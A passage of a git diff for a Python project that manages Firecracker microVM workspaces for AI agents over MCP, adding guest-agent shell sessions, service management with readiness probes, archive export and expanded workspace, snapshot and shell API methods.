_waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _write_metadata(self) -> None: + self._metadata_path.parent.mkdir(parents=True, exist_ok=True) + self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def _create_shell( + *, + shell_id: str, + cwd_text: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, +) -> GuestShellSession: + _, cwd_path = _normalize_shell_cwd(cwd_text) + with _SHELLS_LOCK: + if shell_id in _SHELLS: + raise RuntimeError(f"shell {shell_id!r} already exists") + session = GuestShellSession( + shell_id=shell_id, + cwd=cwd_path, + cwd_text=cwd_text, + cols=cols, + rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, + ) + _SHELLS[shell_id] = session + return session + + +def _get_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS[shell_id] + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _remove_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS.pop(shell_id) + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _read_service_metadata(service_name: str) -> dict[str, Any]: + metadata_path = _service_metadata_path(service_name) + if not metadata_path.exists(): + raise RuntimeError(f"service {service_name!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record for {service_name!r} is invalid") + return payload + + +def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: + _service_metadata_path(service_name).write_text( + json.dumps(payload, indent=2, sort_keys=True), + encoding="utf-8", + ) + + +def _service_exit_code(service_name: str) -> int | None: + status_path = _service_status_path(service_name) + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _service_pid_running(pid: int | None) -> bool: + if pid is None: + return False + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_service_process(pid: int) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: + if str(payload.get("state", "stopped")) != "running": + return payload + pid = payload.get("pid") + normalized_pid = None if pid is None else int(pid) + if _service_pid_running(normalized_pid): + return payload + refreshed = dict(payload) + refreshed["state"] = "exited" + refreshed["ended_at"] = refreshed.get("ended_at") or time.time() + refreshed["exit_code"] = _service_exit_code(service_name) + _write_service_metadata(service_name, refreshed) + return refreshed + + +def _run_readiness_probe( + readiness: dict[str, Any] | None, + *, + cwd: Path, + env: dict[str, str] | None = None, +) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + _, ready_path = _normalize_destination(str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + command_env = os.environ.copy() + if env is not None: + command_env.update(env) + proc = subprocess.run( # noqa: S603 + ["/bin/sh", "-lc", str(readiness["command"])], + cwd=str(cwd), + text=True, + capture_output=True, + env=command_env, + timeout=10, + check=False, + ) + return proc.returncode == 0 + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _start_service( + *, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, +) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) + existing = None + metadata_path = _service_metadata_path(normalized_service_name) + if metadata_path.exists(): + existing = _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + if existing is not None and str(existing.get("state", "stopped")) == "running": + raise RuntimeError(f"service {normalized_service_name!r} is already running") + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + stdout_path = _service_stdout_path(normalized_service_name) + stderr_path = _service_stderr_path(normalized_service_name) + status_path = _service_status_path(normalized_service_name) + runner_path = _service_runner_path(normalized_service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd_path))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + "exit \"$status\"", + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + service_env = os.environ.copy() + if env is not None: + service_env.update(env) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd_path), + env=service_env, + text=True, + start_new_session=True, + ) + payload: dict[str, Any] = { + "service_name": normalized_service_name, + "command": command, + "cwd": normalized_cwd, + "state": "running", + "started_at": time.time(), + "readiness": readiness, + "ready_at": None, + "ended_at": None, + "exit_code": None, + "pid": process.pid, + "stop_reason": None, + } + _write_service_metadata(normalized_service_name, payload) + deadline = time.monotonic() + ready_timeout_seconds + while True: + payload = _refresh_service_payload(normalized_service_name, payload) + if str(payload.get("state", "stopped")) != "running": + payload["state"] = "failed" + payload["stop_reason"] = "process_exited_before_ready" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if _run_readiness_probe(readiness, cwd=cwd_path, env=env): + payload["ready_at"] = time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if time.monotonic() >= deadline: + _stop_service_process(process.pid) + payload = _refresh_service_payload(normalized_service_name, payload) + payload["state"] = "failed" + payload["stop_reason"] = "readiness_timeout" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _status_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + return _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + + +def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + stdout, stdout_truncated = _tail_service_text( + _service_stdout_path(normalized_service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_service_text( + _service_stderr_path(normalized_service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + +def _stop_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + pid = payload.get("pid") + if pid is None: + return payload + if str(payload.get("state", "stopped")) == "running": + _, killed = _stop_service_process(int(pid)) + payload = _status_service(normalized_service_name) + payload["state"] = "stopped" + payload["stop_reason"] = "sigkill" if killed else "sigterm" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + + +def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + return _extract_archive(payload, destination) + if action == "install_secrets": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + payload = _read_exact(conn, archive_size) + return _install_secrets_archive(payload) + if action == "list_workspace": + return _list_workspace( + str(request.get("path", "/workspace")), + recursive=bool(request.get("recursive", False)), + ) + if action == "read_workspace_file": + return _read_workspace_file( + str(request.get("path", "/workspace")), + max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), + ) + if action == "write_workspace_file": + return _write_workspace_file( + str(request.get("path", "/workspace")), + text=str(request.get("text", "")), + ) + if action == "delete_workspace_path": + return _delete_workspace_path(str(request.get("path", "/workspace"))) + if action == "open_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + env_payload = request.get("env") + env_overrides = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("shell env must be a JSON object") + env_overrides = { + _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() + } + redact_values_payload = request.get("redact_values") + redact_values: list[str] | None = None + if redact_values_payload is not None: + if not isinstance(redact_values_payload, list): + raise RuntimeError("redact_values must be a list") + redact_values = [str(item) for item in redact_values_payload] + session = _create_shell( + shell_id=shell_id, + cwd_text=cwd_text, + cols=int(request.get("cols", 120)), + rows=int(request.get("rows", 30)), + env_overrides=env_overrides, + redact_values=redact_values, + ) + return session.summary() + if action == "read_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).read( + cursor=int(request.get("cursor", 0)), + max_chars=int(request.get("max_chars", 65536)), + ) + if action == "write_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).write( + str(request.get("input", "")), + append_newline=bool(request.get("append_newline", True)), + ) + if action == "signal_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + signal_name = str(request.get("signal", "INT")).upper() + if signal_name not in SHELL_SIGNAL_NAMES: + raise RuntimeError( + f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" + ) + return _get_shell(shell_id).send_signal(signal_name) + if action == "close_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _remove_shell(shell_id).close() + if action == "start_service": + service_name = str(request.get("service_name", "")).strip() + command = str(request.get("command", "")) + cwd_text = str(request.get("cwd", "/workspace")) + readiness = request.get("readiness") + readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("service env must be a JSON object") + env = { + _normalize_secret_name(str(key)): str(value) + for key, value in env_payload.items() + } + return _start_service( + service_name=service_name, + command=command, + cwd_text=cwd_text, + readiness=readiness_payload, + ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), + ready_interval_ms=int(request.get("ready_interval_ms", 500)), + env=env, + ) + if action == "status_service": + service_name = str(request.get("service_name", "")).strip() + return _status_service(service_name) + if action == "logs_service": + service_name = str(request.get("service_name", "")).strip() + tail_lines = request.get("tail_lines") + normalized_tail_lines = None if tail_lines is None else int(tail_lines) + return _logs_service(service_name, tail_lines=normalized_tail_lines) + if action == "stop_service": + service_name = str(request.get("service_name", "")).strip() + return _stop_service(service_name) + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("exec env must be a JSON object") + env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} + return _run_command(command, timeout_seconds, env=env) + + def main() -> None: + SHELL_ROOT.mkdir(parents=True, exist_ok=True) + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -63,10 +1215,31 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - request = _read_request(conn) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + try: + request = _read_request(conn) + if str(request.get("action", "")) == "export_archive": + export = _prepare_export_archive(str(request.get("path", "/workspace"))) + try: + header = { + "workspace_path": export["workspace_path"], + "artifact_type": export["artifact_type"], + "archive_size": export["archive_size"], + "entry_count": export["entry_count"], + "bytes_written": export["bytes_written"], + } + conn.sendall((json.dumps(header) + "\n").encode("utf-8")) + with Path(str(export["archive_path"])).open("rb") as handle: + while True: + chunk = handle.read(BUFFER_SIZE) + if chunk == b"": + break + conn.sendall(chunk) + finally: + Path(str(export["archive_path"])).unlink(missing_ok=True) + continue + response = _dispatch(request, conn) + except Exception as exc: # noqa: BLE001 + response = {"error": str(exc)} conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/runtime_sources/linux-x86_64/runtime.lock.json b/runtime_sources/linux-x86_64/runtime.lock.json index b5eca96..72a4e2c 100644 --- a/runtime_sources/linux-x86_64/runtime.lock.json +++ b/runtime_sources/linux-x86_64/runtime.lock.json @@ -5,7 +5,7 @@ "firecracker": "1.12.1", "jailer": "1.12.1", "kernel": "5.10.210", - "guest_agent": "0.1.0-dev", + "guest_agent": "0.2.0-dev", "base_distro": "debian-bookworm-20250210" }, "capabilities": { diff --git a/runtime_sources/linux-x86_64/scripts/pyro-init b/runtime_sources/linux-x86_64/scripts/pyro-init index 6d4b9eb..2e8a82a 100755 --- a/runtime_sources/linux-x86_64/scripts/pyro-init +++ b/runtime_sources/linux-x86_64/scripts/pyro-init @@ -7,7 +7,8 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py mount -t proc proc /proc || true mount -t sysfs sysfs /sys || true mount -t devtmpfs devtmpfs /dev || true -mkdir -p /run /tmp +mkdir -p /dev/pts /run /tmp +mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true hostname pyro-vm || true cmdline="$(cat /proc/cmdline 2>/dev/null || true)" diff --git a/scripts/daily_loop_smoke.py b/scripts/daily_loop_smoke.py new file mode 100644 index 0000000..dc40980 --- /dev/null +++ b/scripts/daily_loop_smoke.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python3 + +"""Run the real guest-backed daily-loop smoke.""" + +from pyro_mcp.daily_loop_smoke import main + +if __name__ == "__main__": + main() diff --git a/scripts/render_tape.sh b/scripts/render_tape.sh new file mode 100755 index 0000000..08b4b6e --- /dev/null +++ b/scripts/render_tape.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +set -euo pipefail + +if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then + printf 'Usage: %s [output-file]\n' "$0" >&2 + exit 1 +fi + +if ! command -v vhs >/dev/null 2>&1; then + printf '%s\n' 'vhs is required to render terminal recordings.' >&2 + exit 1 +fi + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +TAPE_FILE="$1" +OUTPUT_FILE="${2:-}" + +cd "$ROOT_DIR" +vhs validate "$TAPE_FILE" + +if [ -n "$OUTPUT_FILE" ]; then + vhs -o "$OUTPUT_FILE" "$TAPE_FILE" +else + vhs "$TAPE_FILE" +fi diff --git a/scripts/workspace_use_case_smoke.py b/scripts/workspace_use_case_smoke.py new file mode 100644 index 0000000..c35de79 --- /dev/null +++ b/scripts/workspace_use_case_smoke.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python3 + +"""Run the real guest-backed workspace use-case smoke scenarios.""" + +from pyro_mcp.workspace_use_case_smokes import main + +if __name__ == "__main__": + main() diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 758e4c0..967b05c 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -3,11 +3,154 @@ from __future__ import annotations from pathlib import Path -from typing import Any +from typing import Any, Literal, cast from mcp.server.fastmcp import FastMCP -from pyro_mcp.vm_manager import VmManager +from pyro_mcp.contract import ( + PUBLIC_MCP_COLD_START_MODE_TOOLS, + PUBLIC_MCP_INSPECT_MODE_TOOLS, + PUBLIC_MCP_MODES, + PUBLIC_MCP_PROFILES, + PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, + PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +) +from pyro_mcp.project_startup import ( + ProjectStartupSource, + describe_project_startup_source, + materialize_project_startup_source, + resolve_project_startup_source, +) +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, + DEFAULT_WORKSPACE_NETWORK_POLICY, + VmManager, +) + +McpToolProfile = Literal["vm-run", "workspace-core", "workspace-full"] +WorkspaceUseCaseMode = Literal["repro-fix", "inspect", "cold-start", "review-eval"] + +_PROFILE_TOOLS: dict[str, tuple[str, ...]] = { + "vm-run": PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + "workspace-core": PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + "workspace-full": PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +} +_MODE_TOOLS: dict[str, tuple[str, ...]] = { + "repro-fix": PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, + "inspect": PUBLIC_MCP_INSPECT_MODE_TOOLS, + "cold-start": PUBLIC_MCP_COLD_START_MODE_TOOLS, + "review-eval": PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, +} +_MODE_CREATE_INTENT: dict[str, str] = { + "repro-fix": "to reproduce a failure, patch files, rerun, diff, export, and reset", + "inspect": "to inspect suspicious or unfamiliar code with the smallest persistent surface", + "cold-start": ( + "to validate a fresh repo, keep one service alive, and export a " + "validation report" + ), + "review-eval": "to review interactively, checkpoint work, and export the final report", +} +_MODE_TOOL_DESCRIPTIONS: dict[str, dict[str, str]] = { + "repro-fix": { + "workspace_file_read": "Read one workspace file while investigating the broken state.", + "workspace_file_write": "Write one workspace file directly as part of the fix loop.", + "workspace_patch_apply": "Apply a structured text patch inside the workspace fix loop.", + "workspace_export": "Export the fixed result or patch-ready file back to the host.", + "workspace_summary": ( + "Summarize the current repro/fix session for review before export " + "or reset." + ), + }, + "inspect": { + "workspace_file_list": "List suspicious files under the current workspace path.", + "workspace_file_read": "Read one suspicious or unfamiliar workspace file.", + "workspace_export": ( + "Export only the inspection report or artifact you chose to " + "materialize." + ), + "workspace_summary": "Summarize the current inspection session and its exported results.", + }, + "cold-start": { + "workspace_create": "Create and start a persistent workspace for cold-start validation.", + "workspace_export": "Export the validation report or other final host-visible result.", + "workspace_summary": ( + "Summarize the current validation session, service state, and " + "exports." + ), + "service_start": "Start a named validation or app service and wait for typed readiness.", + "service_list": "List running and exited validation services in the current workspace.", + "service_status": "Inspect one validation service and its readiness outcome.", + "service_logs": "Read stdout and stderr from one validation service.", + "service_stop": "Stop one validation service in the workspace.", + }, + "review-eval": { + "workspace_create": ( + "Create and start a persistent workspace for interactive review " + "or evaluation." + ), + "workspace_summary": "Summarize the current review session before exporting or resetting.", + "shell_open": "Open an interactive review shell inside the workspace.", + "shell_read": "Read chat-friendly PTY output from the current review shell.", + "shell_write": "Send one line of input to the current review shell.", + "shell_signal": "Interrupt or terminate the current review shell process group.", + "shell_close": "Close the current review shell.", + "snapshot_create": "Create a checkpoint before the review branch diverges.", + "snapshot_list": "List the baseline plus named review checkpoints.", + "snapshot_delete": "Delete one named review checkpoint.", + }, +} + + +def _validate_mcp_profile(profile: str) -> McpToolProfile: + if profile not in PUBLIC_MCP_PROFILES: + expected = ", ".join(PUBLIC_MCP_PROFILES) + raise ValueError(f"unknown MCP profile {profile!r}; expected one of: {expected}") + return cast(McpToolProfile, profile) + + +def _validate_workspace_mode(mode: str) -> WorkspaceUseCaseMode: + if mode not in PUBLIC_MCP_MODES: + expected = ", ".join(PUBLIC_MCP_MODES) + raise ValueError(f"unknown workspace mode {mode!r}; expected one of: {expected}") + return cast(WorkspaceUseCaseMode, mode) + + +def _workspace_create_description( + startup_source: ProjectStartupSource | None, + *, + mode: WorkspaceUseCaseMode | None = None, +) -> str: + if mode is not None: + prefix = ( + "Create and start a persistent workspace " + f"{_MODE_CREATE_INTENT[mode]}." + ) + else: + prefix = "Create and start a persistent workspace." + if startup_source is None: + return prefix + described_source = describe_project_startup_source(startup_source) + if described_source is None: + return prefix + return f"{prefix} If `seed_path` is omitted, the server seeds from {described_source}." + + +def _tool_description( + tool_name: str, + *, + mode: WorkspaceUseCaseMode | None, + fallback: str, +) -> str: + if mode is None: + return fallback + return _MODE_TOOL_DESCRIPTIONS.get(mode, {}).get(tool_name, fallback) class Pyro: @@ -49,10 +192,11 @@ class Pyro: self, *, environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.create_vm( environment=environment, @@ -60,6 +204,7 @@ class Pyro: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) def start_vm(self, vm_id: str) -> dict[str, Any]: @@ -68,6 +213,334 @@ class Pyro: def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: return self._manager.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) + def create_workspace( + self, + *, + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + seed_path: str | Path | None = None, + secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, + ) -> dict[str, Any]: + return self._manager.create_workspace( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network_policy=network_policy, + allow_host_compat=allow_host_compat, + seed_path=seed_path, + secrets=secrets, + name=name, + labels=labels, + ) + + def list_workspaces(self) -> dict[str, Any]: + return self._manager.list_workspaces() + + def update_workspace( + self, + workspace_id: str, + *, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + return self._manager.update_workspace( + workspace_id, + name=name, + clear_name=clear_name, + labels=labels, + clear_labels=clear_labels, + ) + + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + return self._manager.exec_workspace( + workspace_id, + command=command, + timeout_seconds=timeout_seconds, + secret_env=secret_env, + ) + + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.status_workspace(workspace_id) + + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.stop_workspace(workspace_id) + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.start_workspace(workspace_id) + + def push_workspace_sync( + self, + workspace_id: str, + source_path: str | Path, + *, + dest: str = "/workspace", + ) -> dict[str, Any]: + return self._manager.push_workspace_sync( + workspace_id, + source_path=source_path, + dest=dest, + ) + + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.logs_workspace(workspace_id) + + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.summarize_workspace(workspace_id) + + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + return self._manager.export_workspace( + workspace_id, + path=path, + output_path=output_path, + ) + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.diff_workspace(workspace_id) + + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + return self._manager.list_workspace_files( + workspace_id, + path=path, + recursive=recursive, + ) + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + return self._manager.read_workspace_file( + workspace_id, + path, + max_bytes=max_bytes, + ) + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + return self._manager.write_workspace_file( + workspace_id, + path, + text=text, + ) + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + return self._manager.apply_workspace_patch( + workspace_id, + patch=patch, + ) + + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + return self._manager.export_workspace_disk( + workspace_id, + output_path=output_path, + ) + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + return self._manager.list_workspace_disk( + workspace_id, + path=path, + recursive=recursive, + ) + + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + return self._manager.read_workspace_disk( + workspace_id, + path=path, + max_bytes=max_bytes, + ) + + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + return self._manager.create_snapshot(workspace_id, snapshot_name) + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + return self._manager.list_snapshots(workspace_id) + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + return self._manager.delete_snapshot(workspace_id, snapshot_name) + + def reset_workspace( + self, + workspace_id: str, + *, + snapshot: str = "baseline", + ) -> dict[str, Any]: + return self._manager.reset_workspace(workspace_id, snapshot=snapshot) + + def open_shell( + self, + workspace_id: str, + *, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + return self._manager.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + secret_env=secret_env, + ) + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + return self._manager.read_shell( + workspace_id, + shell_id, + cursor=cursor, + max_chars=max_chars, + plain=plain, + wait_for_idle_ms=wait_for_idle_ms, + ) + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool = True, + ) -> dict[str, Any]: + return self._manager.write_shell( + workspace_id, + shell_id, + input_text=input, + append_newline=append_newline, + ) + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + return self._manager.signal_shell( + workspace_id, + shell_id, + signal_name=signal_name, + ) + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return self._manager.close_shell(workspace_id, shell_id) + + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + cwd: str = "/workspace", + readiness: dict[str, Any] | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, int | None]] | None = None, + ) -> dict[str, Any]: + return self._manager.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + secret_env=secret_env, + published_ports=published_ports, + ) + + def list_services(self, workspace_id: str) -> dict[str, Any]: + return self._manager.list_services(workspace_id) + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return self._manager.status_service(workspace_id, service_name) + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int = 200, + all: bool = False, + ) -> dict[str, Any]: + return self._manager.logs_service( + workspace_id, + service_name, + tail_lines=None if all else tail_lines, + ) + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return self._manager.stop_service(workspace_id, service_name) + + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + return self._manager.delete_workspace(workspace_id) + def stop_vm(self, vm_id: str) -> dict[str, Any]: return self._manager.stop_vm(vm_id) @@ -88,11 +561,12 @@ class Pyro: *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = 